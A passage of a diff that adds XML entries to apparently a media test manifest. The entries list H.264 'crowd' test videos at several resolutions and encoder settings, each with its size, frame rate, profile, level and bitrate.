+  <entry key="h264/yuv420/8bit/mp/levels/crowd_1920x1088p50f32_8300kbps_level_5_mp.mp4">
+    <value>mime=video/avc,size=829236,width=1920,height=1088,frame-rate=50,profile=2,level=16384,bitrate=10349568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_352x288p50f32_400kbps_level_2.1_mp.mp4">
+    <value>mime=video/avc,size=26857,width=352,height=288,frame-rate=50,profile=2,level=64,bitrate=320680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_640x480p50f32_1200kbps_level_3.1_mp.mp4">
+    <value>mime=video/avc,size=91490,width=640,height=480,frame-rate=50,profile=2,level=512,bitrate=1127808,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_64x64p50f32_200kbps_level_2_mp.mp4">
+    <value>mime=video/avc,size=11818,width=64,height=64,frame-rate=50,profile=2,level=32,bitrate=135624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_720x480p50f32_1300kbps_level_3_mp.mp4">
+    <value>mime=video/avc,size=100078,width=720,height=480,frame-rate=50,profile=2,level=256,bitrate=1235024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_720x576p50f32_1600kbps_level_3.1_mp.mp4">
+    <value>mime=video/avc,size=125751,width=720,height=576,frame-rate=50,profile=2,level=512,bitrate=1555960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_100kbps_mp.mp4">
+    <value>mime=video/avc,size=11887,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=132624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_10mbps_mp.mp4">
+    <value>mime=video/avc,size=918418,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11464248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_16x16part_mp.mp4">
+    <value>mime=video/avc,size=945076,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11797472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_1mbps_mp.mp4">
+    <value>mime=video/avc,size=86179,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=1061256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_20mbps_mp.mp4">
+    <value>mime=video/avc,size=1832002,width=1280,height=720,frame-rate=50,profile=8,level=4096,bitrate=22884056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=42544,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=515824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_5mbps_mp.mp4">
+    <value>mime=video/avc,size=454724,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=5668072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_allpart_mp.mp4">
+    <value>mime=video/avc,size=873570,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10903656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpha6beta6_mp.mp4">
+    <value>mime=video/avc,size=917408,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11451632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpha6betam6_mp.mp4">
+    <value>mime=video/avc,size=882229,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11011872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpham6beta6_mp.mp4">
+    <value>mime=video/avc,size=882490,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11015136,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_alpham6betam6_mp.mp4">
+    <value>mime=video/avc,size=883277,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11024968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_aud_mp.mp4">
+    <value>mime=video/avc,size=880422,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bff_mp.mp4">
+    <value>mime=video/avc,size=899546,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11228320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm0_mp.mp4">
+    <value>mime=video/avc,size=1015323,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=12679312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm1_mp.mp4">
+    <value>mime=video/avc,size=918216,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11461624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm2_mp.mp4">
+    <value>mime=video/avc,size=893839,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11157920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm3bpyrmd_mp.mp4">
+    <value>mime=video/avc,size=880950,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10995896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_bfrm7opengop_mp.mp4">
+    <value>mime=video/avc,size=891233,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11125832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_cnstintra_mp.mp4">
+    <value>mime=video/avc,size=881941,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11008272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_direct_mp.mp4">
+    <value>mime=video/avc,size=893394,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11152344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fakeinterlaced_mp.mp4">
+    <value>mime=video/avc,size=882484,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11015048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_faster_mp.mp4">
+    <value>mime=video/avc,size=853910,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10657912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_fast_mp.mp4">
+    <value>mime=video/avc,size=859887,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10732608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra16_mp.mp4">
+    <value>mime=video/avc,size=1137193,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=14201920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra1_mp.mp4">
+    <value>mime=video/avc,size=1857295,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=23204248,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra2_mp.mp4">
+    <value>mime=video/avc,size=2227903,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=27835800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_intra300_mp.mp4">
+    <value>mime=video/avc,size=1010946,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=12624600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_medium_mp.mp4">
+    <value>mime=video/avc,size=880410,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mpcavlc_mp.mp4">
+    <value>mime=video/avc,size=975332,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=12175672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_mpcavlcno8x8noB_mp.mp4">
+    <value>mime=video/avc,size=1098159,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=13714848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nodblk_mp.mp4">
+    <value>mime=video/avc,size=883669,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11029880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nodirect_mp.mp4">
+    <value>mime=video/avc,size=915258,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11425648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nowtpredb_mp.mp4">
+    <value>mime=video/avc,size=881351,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11000896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_nowtpredp_mp.mp4">
+    <value>mime=video/avc,size=881065,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10997336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_placebo_mp.mp4">
+    <value>mime=video/avc,size=868980,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10846448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qlty16_mp.mp4">
+    <value>mime=video/avc,size=2259263,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=28224800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qlty51_mp.mp4">
+    <value>mime=video/avc,size=22981,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=271272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp47cqp12_mp.mp4">
+    <value>mime=video/avc,size=105975,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=1308696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51cqp6_mp.mp4">
+    <value>mime=video/avc,size=64715,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=792936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_qp51_mp.mp4">
+    <value>mime=video/avc,size=64998,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=796480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref16_mp.mp4">
+    <value>mime=video/avc,size=875284,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10925032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref1_mp.mp4">
+    <value>mime=video/avc,size=884019,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11034256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ref4_mp.mp4">
+    <value>mime=video/avc,size=880416,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_sfast_mp.mp4">
+    <value>mime=video/avc,size=912779,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11393768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slower_mp.mp4">
+    <value>mime=video/avc,size=890999,width=1280,height=720,frame-rate=50,profile=8,level=2048,bitrate=11121584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_slow_mp.mp4">
+    <value>mime=video/avc,size=887885,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11082584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spatialdirect_mp.mp4">
+    <value>mime=video/avc,size=893858,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11158144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spsppsid1_mp.mp4">
+    <value>mime=video/avc,size=880387,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10988872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_spsppsid31_mp.mp4">
+    <value>mime=video/avc,size=880422,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10989272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_temporaldirect_mp.mp4">
+    <value>mime=video/avc,size=893413,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11152584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_tff_mp.mp4">
+    <value>mime=video/avc,size=900896,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=11245200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_ufast_mp.mp4">
+    <value>mime=video/avc,size=2105255,width=1280,height=720,frame-rate=50,profile=1,level=1024,bitrate=26303544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vfast_mp.mp4">
+    <value>mime=video/avc,size=806359,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10063520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_vslow_mp.mp4">
+    <value>mime=video/avc,size=859925,width=1280,height=720,frame-rate=50,profile=8,level=16384,bitrate=10733160,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_wtpredp1_mp.mp4">
+    <value>mime=video/avc,size=881090,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10997632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1280x720p50f32/crowd_1280x720p50f32_wtpredp2_mp.mp4">
+    <value>mime=video/avc,size=880387,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=10988872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_100kbps_mp.mp4">
+    <value>mime=video/avc,size=16874,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=194944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_10mbps_mp.mp4">
+    <value>mime=video/avc,size=1016348,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=12688344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_16x16part_mp.mp4">
+    <value>mime=video/avc,size=1802151,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22510896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_1mbps_mp.mp4">
+    <value>mime=video/avc,size=100876,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1244944,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_20mbps_mp.mp4">
+    <value>mime=video/avc,size=2064245,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=25787080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_500kbps_mp.mp4">
+    <value>mime=video/avc,size=53444,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=652048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_5mbps_mp.mp4">
+    <value>mime=video/avc,size=501088,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=6247600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_allpart_mp.mp4">
+    <value>mime=video/avc,size=1691441,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21127032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpha6beta6_mp.mp4">
+    <value>mime=video/avc,size=1767707,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22080360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpha6betam6_mp.mp4">
+    <value>mime=video/avc,size=1704258,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21287208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpham6beta6_mp.mp4">
+    <value>mime=video/avc,size=1707540,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21328232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_alpham6betam6_mp.mp4">
+    <value>mime=video/avc,size=1708536,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21340680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_aud_mp.mp4">
+    <value>mime=video/avc,size=1697007,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bff_mp.mp4">
+    <value>mime=video/avc,size=1723861,width=1920,height=1080,frame-rate=50,profile=8,level=65536,bitrate=21532256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm0_mp.mp4">
+    <value>mime=video/avc,size=1875507,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23431568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm1_mp.mp4">
+    <value>mime=video/avc,size=1749106,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21847736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm2_mp.mp4">
+    <value>mime=video/avc,size=1712285,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21388480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm3bpyrmd_mp.mp4">
+    <value>mime=video/avc,size=1696634,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21191936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_bfrm7opengop_mp.mp4">
+    <value>mime=video/avc,size=1717467,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21453736,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_cnstintra_mp.mp4">
+    <value>mime=video/avc,size=1703947,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21283320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_direct_mp.mp4">
+    <value>mime=video/avc,size=1712808,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21395008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_fakeinterlaced_mp.mp4">
+    <value>mime=video/avc,size=1697007,width=1920,height=1080,frame-rate=50,profile=8,level=65536,bitrate=21196584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_faster_mp.mp4">
+    <value>mime=video/avc,size=1647304,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=20575320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_fast_mp.mp4">
+    <value>mime=video/avc,size=1663863,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=20782296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_intra16_mp.mp4">
+    <value>mime=video/avc,size=2093461,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=26155272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_intra300_mp.mp4">
+    <value>mime=video/avc,size=1871794,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23385168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_medium_mp.mp4">
+    <value>mime=video/avc,size=1696991,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_mpcavlc_mp.mp4">
+    <value>mime=video/avc,size=1901604,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23754056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_mpcavlcno8x8noB_mp.mp4">
+    <value>mime=video/avc,size=2059430,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=25730712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nodblk_mp.mp4">
+    <value>mime=video/avc,size=1708230,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21336880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nodirect_mp.mp4">
+    <value>mime=video/avc,size=1771339,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22126648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nowtpredb_mp.mp4">
+    <value>mime=video/avc,size=1696721,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21193000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_nowtpredp_mp.mp4">
+    <value>mime=video/avc,size=1697585,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21203824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_placebo_mp.mp4">
+    <value>mime=video/avc,size=1661778,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=20756384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qlty51_mp.mp4">
+    <value>mime=video/avc,size=53878,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=657472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp47cqp12_mp.mp4">
+    <value>mime=video/avc,size=220827,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=2744336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51cqp6_mp.mp4">
+    <value>mime=video/avc,size=139889,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1732584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_qp51_mp.mp4">
+    <value>mime=video/avc,size=140700,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=1742744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref16_mp.mp4">
+    <value>mime=video/avc,size=1685291,width=1920,height=1080,frame-rate=50,profile=8,level=32768,bitrate=21050120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref1_mp.mp4">
+    <value>mime=video/avc,size=1705073,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21297408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_ref4_mp.mp4">
+    <value>mime=video/avc,size=1697004,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_sfast_mp.mp4">
+    <value>mime=video/avc,size=1768731,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=22093144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slower_mp.mp4">
+    <value>mime=video/avc,size=1701445,width=1920,height=1080,frame-rate=50,profile=8,level=16384,bitrate=21252032,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_slow_mp.mp4">
+    <value>mime=video/avc,size=1699054,width=1920,height=1080,frame-rate=50,profile=8,level=16384,bitrate=21222184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_spatialdirect_mp.mp4">
+    <value>mime=video/avc,size=1712302,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21388680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_spsppsid1_mp.mp4">
+    <value>mime=video/avc,size=1696972,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21196168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_spsppsid31_mp.mp4">
